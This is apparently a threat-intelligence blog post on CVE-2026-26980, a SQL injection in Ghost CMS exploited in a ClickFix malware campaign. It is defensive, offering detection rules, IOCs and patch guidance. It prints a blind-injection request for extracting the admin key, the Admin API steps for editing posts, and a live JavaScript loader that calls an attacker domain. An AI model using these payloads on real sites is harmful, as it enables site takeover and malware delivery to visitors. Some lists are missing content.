CVE-2026-26980 is a critical unauthenticated SQL injection vulnerability in Ghost CMS, a popular Node.js-based headless content management system used by thousands of organizations including universities, SaaS companies, blockchain projects, and major tech blogs. The vulnerability carries a CVSS 9.4 score (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L) — network-exploitable, low complexity, no privileges required, no user interaction.
The flaw resides in the Ghost Content API's slug filter ordering function, specifically in the file ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js. When a request to the Content API includes a filter parameter with a slug array — for example filter=slug:[post-one,post-two] — Ghost generates a SQL CASE statement to maintain the filter's order in the query results.
Prior to the patch, the slugFilterOrder function directly interpolated user-supplied slug values into the SQL string using template literals:
// VULNERABLE (pre-patch)
let order = 'CASE ';
orderSlugs.forEach((slug, index) => {
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
});
order += 'END ASC';
return order;
This code builds a raw SQL string by concatenating user-controlled slug values directly. Because no parameterization or escaping occurs, an attacker can inject arbitrary SQL by embedding a single quote (') within a slug value. The table variable is also interpolated, but the primary injection vector is through the slug values extracted from the filter parameter.
The order string is passed to options.orderRaw in the Bookshelf ORM query builder, eventually becoming part of an ORDER BY clause in the generated SQL query. Ghost's Content API endpoint does not require authentication for read operations — the Content API key is intentionally public and embedded in the frontend code — meaning any unauthenticated attacker who can reach the endpoint can exploit this flaw.
The fixed code in commit 30868d632b2252b638bc8a4c8ebf73964592ed91 switches to parameterized queries using Bookshelf's binding mechanism:
// PATCHED (post-commit)
let caseParts = [];
let bindings = [];
orderSlugs.forEach((slug, index) => {
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
});
return {
sql: `CASE ${caseParts.join(' ')} END ASC`,
bindings
};
The patched code returns an object containing a SQL template with ? placeholders and a separate bindings array. The crud.js plugin (in ghost/core/core/server/models/base/plugins/crud.js) was updated to detect this object type and pass the bindings through options.orderRawBindings instead of treating the string as raw SQL. This is a textbook fix for SQL injection — replacing string interpolation with parameterized queries.
The vulnerability was discovered by Nicholas Carlini using Claude (Anthropic's AI-assisted vulnerability research through the Glasswing program) and reported responsibly to Ghost's security team. It was fixed in Ghost v6.19.1, released February 16, 2026.
The exploitation chain is a four-stage attack that requires no authentication and can be fully automated. According to Qianxin XLab's incident response report, the entire process — vulnerability scanning, key extraction, injection, and C2 distribution — is highly automated.
The attacker sends a crafted request to the Ghost Content API endpoint with a malicious filter parameter containing SQL injection payloads. Because the endpoint is public and unauthenticated, any HTTP client can reach it. The injection works in the ORDER BY context of the SQL query, enabling error-based or time-based blind extraction of arbitrary database content.
The target data is the Admin API Key, stored in the database within the api_keys table. Unlike the Content API key (which is read-only and public by design), the Admin API key carries full management privileges: article modification, theme editing, user management, and settings changes.
The attack uses time-based blind SQL injection to extract the key character by character:
# HTTP request structure (conceptual)
GET /ghost/api/content/posts/?filter=slug:[a' OR (SELECT CASE WHEN
(SUBSTR((SELECT secret FROM api_keys WHERE role_id='admin'),N,1)='X')
THEN 'a' ELSE 'b' END)='a]
&key=PUBLIC_CONTENT_KEY HTTP/1.1
Host: victim.ghost.io
Each request tests one character position. By observing response timing differences (or error-based responses depending on the database configuration), the attacker builds the Admin API key one character at a time. SQLite (Ghost's default database) supports LIKE, SUBSTR, and comparison operators that make blind injection practical.
With the Admin API key, the attacker authenticates to the Ghost Admin API and retrieves all published articles:
# List all published posts
GET /ghost/api/admin/posts/?limit=all&filter=status:published
Admin-Api-Key: ADMIN_KEY_FROM_STAGE_1
The attacker then modifies each article's content via PUT /ghost/api/admin/posts/:id/, appending a malicious JavaScript loader at the end of the HTML body. XLab captured two versions of this injected script with consistent core functionality:
<script>
(function() {
var s = document.createElement('script');
s.src = 'https://clo4shara.xyz/11z77u3.php';
s.async = true;
document.body.appendChild(s);
})();
</script>
This is a two-stage loader: the first stage is a thin, fixed script written directly into the database. The real payload is returned on demand by the C2 server. This design gives the attacker significant operational advantages:
When a visitor loads a compromised article, the injected script fetches the C2 and receives a traffic distribution script. This script collects browser fingerprints (user agent, screen resolution, language, plugins) and sends them to the server. The server responds with one of 19 supported instructions including local, fetch, proxy, HTTP status codes (301-307), iframe, form, php, and js — giving the attacker full control over the victim's browser.
The instruction that follows leads to a highly convincing fake Cloudflare "human verification" page. The page displays a reCAPTCHA widget with the message "I am not a robot" and instructs the user to complete three steps:
The pasted command is a Base64-encoded payload that, when decoded, executes a PowerShell or cmd command to download and run the malware. This is the ClickFix technique — social engineering that tricks the user into voluntarily executing a command that infects their system.
The executed command downloads update.zip from attacker-controlled domains (initially clo4shara.xyz, later com-apps.cc after Cloudflare blocked the first domain). The zip contains a DLL loader which downloads and decrypts the final payload from external CDNs (including Storj public CDN).
XLab identified multiple delivery chains:
NotepadPlusPlus.dll and calls its exported functionUtilifySetup.exe — an Inno Setup packaged installerinstaller, downloads the next-stage payload via HTTPThe final payload (MD5: 18a7251ddde77ed24bc54700d84d9be1, detected as UtilifySetup.exe) has zero detections on VirusTotal at the time of XLab's report. It replaces the entry file of a legitimate Electron application with a malicious index.js that uses the setLoginItemSettings API for persistence, sending POST requests every 30 seconds to web-telegram[.]ug awaiting command-and-control instructions. The C2 can execute arbitrary commands, download additional payloads, and exfiltrate data.
As of May 26, 2026, Qianxin XLab has confirmed over 700 compromised Ghost CMS deployments. The affected sites span multiple sectors:
The vulnerability (Ghost 3.24.0 through 6.19.0) affects a vast install base. The Content API endpoint is publicly accessible by design — the Content API key is embedded in frontend code. This means every internet-facing Ghost CMS instance is a potential target regardless of whether the key is exposed.
Two distinct threat groups were observed running separate ClickFix campaigns against the same vulnerable server pool. XLab documented cases where Group A's injected JavaScript was overwritten by Group B's within 24 hours, with sites like Harvard International Review being toggled between the two groups' malicious scripts. This competitive behavior suggests both groups have automated scanning and exploitation pipelines that continuously probe for vulnerable Ghost instances.
Users' natural trust in these high-authority domains significantly increases the ClickFix attack's success rate. When a Harvard University or DuckDuckGo page presents a Cloudflare verification prompt, most users comply without suspicion.
CVE-2026-26980 was discovered by Nicholas Carlini using Claude, an AI assistant from Anthropic. Carlini, a prominent AI safety researcher, has been exploring the use of large language models for automated vulnerability discovery — an approach Anthropic calls "Glasswing."
The vulnerability was disclosed to Ghost on February 16, 2026, and a patch shipped the same day. The public advisory was published on February 18, 2026, and NVD assigned the CVE on February 20, 2026. By May 7 — roughly 80 days after disclosure — mass exploitation was underway in the wild. By May 26, over 700 sites were compromised.
The timeline is critical: the window between disclosure and mass exploitation has collapsed to approximately 80 days, and the gap between AI-assisted discovery and weaponization is even narrower. As AI-driven vulnerability research tools mature, we should expect:
The Ghost CMS case is a textbook example: a 9.4 CVSS vulnerability disclosed in mid-February, exploitable within 80 days at global scale, targeting high-trust domains like .edu and major tech companies. The attackers needed no prior knowledge of the vulnerability discovery method — they simply scanned for unpatched instances of a known CVE and automated the exploitation chain.
Check web server access logs for anomalous requests to the Ghost Content API. The injection vector targets the filter parameter with slug array syntax containing SQL operators:
# Suspicious patterns in Content API requests
/ghost/api/content/posts/?filter=slug:[...]&key=...
/ghost/api/content/tags/?filter=slug:[...]&key=...
# Indicators of SQL injection attempts:
# - filter parameter containing SQL keywords (SELECT, CASE, SUBSTR)
# - filter parameter with URL-encoded single quotes (%27)
# - Response time anomalies (time-based blind injection)
# - Unusual slug filter values that don't match valid slugs
Inspect all published articles and pages for unauthorized JavaScript inclusions. The injected scripts follow a consistent pattern:
# Search for inline script tags at the end of article body content
# Typical pattern:
(function(){var s=document.createElement('script');
s.src='https://[malicious-domain]/...';
s.async=true;document.body.appendChild(s);})();
Check the Ghost admin interface for unauthorized or unknown API keys:
api_keys table directly in the database for unauthorized entriesGhost has a "Code Injection" feature in Site Settings that allows site-wide script injection. Check this section for unauthorized scripts. Also review theme files (particularly default.hbs and post.hbs) for injected script tags.
The following domains and URLs have been confirmed as part of the ClickFix campaign infrastructure:
# Threat Actor A - C2 and Payload Domains
clo4shara.xyz
cloud-verification.com
jalwat.com
com-apps.cc
web-telegram.ug
staticcloudflare.pro
updatesecurity.pro
updatefilescf.top
static-file.digital
download-file.today
updatefile-cf.digital
updatefile-cf.top
platecrumbs.com
# Threat Actor B - C2 and Payload Domains
script-dev.buzz
script-dev.digital
script-dev.xyz
# Payload URLs
https://clo4shara.xyz/11z77u3.php
https://com-apps.cc/11z77u3.php
https://cloud-verification.com/update.zip
https://com-apps.cc/NotepadPlusPlus.zip
https://jalwat.com/static/uploads/campaigns/6/update.zip
https://script-dev.digital/api/css.js
https://cdnupdatenews.top/dl?fid=38
5659292833ec421da11ebde005d9c9a8
d30cc10d54ebc967c8538ff74f442eee
18a7251ddde77ed24bc54700d84d9be1 (UtilifySetup.exe)
f280e12f51f996dae7fffc64a56ee527
fceca579efcef09eb507c6ca977ea281
rule Ghost_CMS_ClickFix_Loader {
meta:
description = "Detects injected JavaScript loaders from CVE-2026-26980 ClickFix campaign"
author = "Cyberian Defenses Threat Intelligence"
date = "2026-05-26"
reference = "CVE-2026-26980"
hash = "f280e12f51f996dae7fffc64a56ee527"
strings:
$loader1 = "document.createElement('script')" ascii wide
$loader2 = "document.body.appendChild" ascii wide
$cloaking1 = "clo4shara" ascii wide nocase
$cloaking2 = "com-apps" ascii wide nocase
$cloaking3 = "script-dev" ascii wide nocase
$cloaking4 = "staticcloudflare" ascii wide nocase
$captcha = "reCAPTCHA" ascii wide nocase
$verify = "human verification" ascii wide nocase
$fakecloud = "cloudflare" ascii wide nocase
condition:
any of ($loader*) and any of ($cloaking*)
or (any of ($loader*) and any of ($captcha, $verify, $fakecloud))
}
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-26980 Ghost CMS SQL Injection Attempt";
flow:to_server,established;
content:"/ghost/api/content/";
content:"filter";
content:"slug:[";
pcre:"/slug%3A%5B|slug%3A\[/i";
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2026-26980;
)
# Zeek script to detect Ghost CMS SQL injection attempts
event http_request(c: connection, method: string, original_URI: string,
unescaped_URI: string, version: string)
{
if ("/ghost/api/content/" in original_URI &&
/filter.*slug%3A%5B/ in original_URI)
{
NOTICE([$note=SQL_Injection::Ghost_CMS_CVE_2026_26980,
$msg=fmt("Ghost CMS SQL injection attempt: %s %s",
method, original_URI),
$conn=c,
$uid=c$uid,
$identifier=original_URI]);
}
}
# Ghost-CLI (recommended)
ghost update v6.19.1
# Docker
docker pull ghost:6.19.1
docker-compose up -d
createElement('script') combined with document.body.appendChild).slug:[ or slug%3A%5B in the filter parameter:
# Nginx WAF rule
if ($args ~* "slug%3A%5B|slug:\[") {
return 403;
}
# Cloudflare WAF
(http.request.uri.query contains "slug:[")
Note: This WAF rule may break legitimate slug filter functionality. Use only as a temporary emergency measure.
PUT requests to /ghost/api/admin/posts/:id/ originating from unrecognized IPs.Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
XLab observed that the attackers updated their cloaking domain from clo4shara.xyz (which used Cloudflare's proxy service, leaving an interception window) to com-apps.cc, which was not using Cloudflare. This bypassed any Cloudflare-based blocking mechanisms. The attackers demonstrated the ability to adapt their infrastructure within days of detection, meaning reactive blocking alone is insufficient — patching is the only reliable mitigation.
The Ghost CMS campaign demonstrates several concerning trends in the current threat landscape:
This is one of the first documented cases where an AI-discovered vulnerability (via Anthropic's Claude/Glasswing) is actively exploited at scale in the wild. The timeline — patch February 16, exploitation campaign by May 7 — suggests that disclosure-to-exploitation timelines are compressing. Organizations that treat vulnerability disclosure as a "patch when convenient" event are exposed.
Ghost and other headless CMS platforms expose API endpoints that are intended to be public. The Content API key is literally shipped to every browser that loads the site. Any vulnerability in these public endpoints has no authentication barrier to exploit — making them high-value targets. Organizations using headless CMS platforms should prioritize security audits of their public API surface.
The ClickFix (or FakeCAPTCHA) technique has become one of the most effective social engineering methods of 2025-2026. By hijacking high-trust domains and presenting a familiar CAPTCHA challenge, attackers bypass traditional user security awareness. Users who would never open a random attachment will paste a "verification command" on request from Google, Cloudflare, or Cloudflare-rebranded pages on trusted domains.
The observation of two distinct threat groups competing over the same vulnerable server pool — overwriting each other's implants — suggests that Ghost CMS exploitation has become commoditized. Multiple automated exploitation pipelines are scanning for vulnerable instances. An unpatched Ghost site is not "low risk" — it's competing infrastructure for whoever finds it first.
Compromises of Harvard University, Oxford University, DuckDuckGo, and other high-authority domains demonstrate that no organization is immune. The trust users place in .edu and major tech domains makes them especially potent launch points for social engineering attacks. The reputational damage and legal liability for compromised higher education institutions may be significant, particularly under GDPR and state data breach notification laws.
CVE-2026-26980 is not "just another CMS vulnerability." It is a turning point. An AI-discovered SQL injection in a widely deployed headless CMS, exploited by competing threat groups to hijack 700+ high-trust domains for ClickFix malware delivery — this is the new baseline for vulnerability impact.
The three things you must do today if you run Ghost CMS:
For security teams not using Ghost: this incident is a case study in how fast AI-discovered vulnerabilities move from disclosure to exploitation. Review your vulnerability management SLAs. If your organization takes more than 30 days to patch a critical public-facing CVE, you are operating outside the current threat window.
Full technical analysis with IOCs, detection rules, and patch diff: https://cyberian-defenses.com/blog/ghost-cms-cve-2026-26980-ai-discovery-clickfix
Sources: